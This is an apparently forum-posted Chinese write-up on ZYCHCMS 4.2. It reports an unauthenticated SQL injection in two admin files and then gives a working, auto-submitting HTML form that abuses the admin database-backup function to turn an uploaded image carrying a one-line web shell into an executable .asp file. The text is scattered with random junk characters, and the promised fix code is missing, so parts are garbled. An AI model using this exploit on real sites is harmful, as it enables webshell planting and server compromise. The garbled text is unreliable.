ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
0 |" f+ ?  h0 S% c. P( A ①SQL注射漏洞
5 N" {  N+ ?7 d9 X+ p. P7 ?/ A 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
( E( M& x& U0 P8 t. ` 漏洞原因：未过滤
0 p8 x% c9 P5 X9 }3 [ 漏洞代码：
. j  Y0 I! a* m' N9 Q 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
7 I; `7 [' }. ?% f; `5 y 修复方法：在文件开头加入代码
8 Y, k8 S8 W1 i" E) p# R& q! J
" ~9 C" D6 a0 M) B5 i/ p
②后台拿WBSHELL
  A+ n9 m2 a5 y9 p% ^ 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
& Y( s* M# q6 L& m- w" m 以下是代码本地提交代码
+ v+ H' D8 W1 C3 ?  O% i5 a
  r$ W: `; L0 r. O, `
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
9 ?  l& }8 z" _+ i* J$ I  G( b, Q <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
+ x, n+ y9 I* o2 b </tr>
<tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
  Z4 `. x( g$ _9 u2 Z/ c( A </span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
; a. t$ c: ~- ?& }; F' x5 b <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
' Y6 c# A6 s( V1 B/ f# W1 p8 y; ` <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
% ]5 j/ v0 c8 u* @6 v <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
2 Z. b/ Y) a1 }! K0 p <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
6 p. o" {" u5 `$ X) ^ <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
4 O8 Y8 g8 N9 \+ V5 s </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
# q7 U0 ]* U% h+ X- H  D( O5 Y <input type=”submit” value=”确定备份” class=”btn”
</div></td>
4 s9 d/ ~2 O& k7 \ </tr>
& D4 ]0 a5 V: G  q5 E$ T6 ^ </table></td></tr></form>
</table>
8 N, N- k5 @4 m+ e+ O% ` </td>
</tr>
  ]9 P6 C# f% w9 M  r. \ </table>
' b3 a/ v: D. O8 O2 ~3 E <script>
' n/ G) ^' L$ O' t7 M document.all.add.submit();
9 k' p( u) {5 S </script>
4 [4 W% Z% m* K; c5 F1 f
  n- G5 g3 T9 i! N" f' c

" _* E. L/ C8 V( M5 |( b% v/ a. D

( M9 _' h: A$ R+ O



. ~( `; Q( ?7 a. R# T